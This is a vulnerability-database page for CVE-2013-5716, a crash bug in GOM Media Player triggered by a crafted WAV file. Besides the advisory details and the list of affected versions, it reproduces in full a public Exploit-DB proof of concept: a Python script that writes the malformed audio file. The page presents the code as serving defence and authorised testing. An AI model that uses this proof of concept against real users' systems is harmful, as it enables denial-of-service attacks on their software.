VIR Vulnerability Intelligence Relay

CVE-2013-5716

medium
Published 2013-09-09 · Modified 2026-04-29
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
5.3

Description

Gretech GOM Media Player 2.2.53.5169 and possibly earlier allows remote attackers to cause a denial of service (application crash) via a crafted WAV file.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-28080 dos windows verified text · 2 KB
ariarat · 2013-09-04

GOMPlayer 2.2.53.5169 - '.wav' Crash (PoC)

text exploit Source: Exploit-DB 
# Exploit Title: GOMPlayer Version 2.2.53.5169 (.wav) - Crash POC
# Date: 03-09-2013
# Exploit Author: ariarat
# Software Link: http://download.cnet.com/GOM-Media-Player/3000-13632_4-10551786.html?part=dl-GOMMediaP&subj=dl&tag=button
# Version: 2.2.53.5169 (Probably old version of software too)
# Vendor Homepage: www.gomlab.com
# Tested on: [ Windows XP sp3]
#============================================================================================
# After creating POC file (.wav),drag it to Player!
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

filename = "gomPlayer.wav"
file = open(filename , "w")
file.write(string)
file.close()

Application impact
VendorProductVersionsFixed
gomlabgom_player{"endIncluding":"2.2.53.5169"}
gomlabgom_player2.0.6
gomlabgom_player2.0.9
gomlabgom_player2.0.11
gomlabgom_player2.0.12
gomlabgom_player2.1.1
gomlabgom_player2.1.2
gomlabgom_player2.1.3
gomlabgom_player2.1.6
gomlabgom_player2.1.8
gomlabgom_player2.1.9.3753
gomlabgom_player2.1.9.3754
gomlabgom_player2.1.14.4525
gomlabgom_player2.1.15.4610
gomlabgom_player2.1.16.4631
gomlabgom_player2.1.17.4710
gomlabgom_player2.1.18.4762
gomlabgom_player2.1.21.4846
gomlabgom_player2.1.25.5015
gomlabgom_player2.1.27.5031
gomlabgom_player2.1.28.5039
gomlabgom_player2.1.33.5071
gomlabgom_player2.1.37.5085
gomlabgom_player2.1.39.5101
gomlabgom_player2.1.40.5106
gomlabgom_player2.1.43.5119
gomlabgom_player2.1.47.5133
gomlabgom_player2.1.49.5139
gomlabgom_player2.1.50.5145

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.